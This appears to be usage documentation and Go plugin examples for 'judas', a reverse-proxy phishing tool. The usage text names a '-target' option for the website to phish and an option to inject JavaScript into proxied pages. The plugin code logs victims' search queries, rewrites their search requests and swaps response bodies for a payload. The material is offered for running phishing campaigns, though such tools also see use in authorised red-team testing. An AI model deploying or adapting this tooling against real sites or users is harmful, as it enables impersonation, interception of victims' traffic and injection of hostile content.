Usage of judas: -address string Address and port to run proxy service on. Format address:port. (default "localhost:8080") -inject-js string URL to a JavaScript file you want injected. -insecure Listen without TLS. -insecure-target Not verify SSL certificate from target host. -plugins string Colon separated file path to plugin binaries. -proxy string Optional upstream proxy. Useful for torification or debugging. Supports HTTPS and SOCKS5 based on the URL. For example, http://localhost:8080 or socks5://localhost:9150. -proxy-ca-cert string Proxy CA cert for signed requests -proxy-ca-key string Proxy CA key for signed requests -ssl-hostname string Hostname for SSL certificate -target string The website we want to phish. -with-profiler Attach profiler to instance.
// Listen pulls search queries out of HTTP exchanges func(p *searchLoggingPlugin)Listen(exchanges <-chan *judas.HTTPExchange) { for exchange := range exchanges { searchQuery := exchange.Request.URL.Query().Get("q") if searchQuery != "" && exchange.Request.URL.Host == exchange.Target.Host { p.logger.Printf("Search query: %s", searchQuery) } } }
// New returns a plugin that logs searches. funcNew(logger *log.Logger)(judas.Listener, error) { return &searchLoggingPlugin{logger: logger}, nil }
// RequestTransformer replaces a victim's search query with something else if they search for the words "modify request". funcRequestTransformer(request *http.Request)error { if request.URL.Query().Get("q") == "modify request" { query := request.URL.Query() query.Set("q", "not what you searched for") request.URL.RawQuery = query.Encode() } returnnil }
// ResponseTransformer replaces the page contents with our text when a user searches for the word "replace". funcResponseTransformer(response *http.Response)error { if response.Request.URL.Query().Get("q") == "replace" { payload := []byte("payload") response.Body = ioutil.NopCloser(bytes.NewReader(payload)) } returnnil }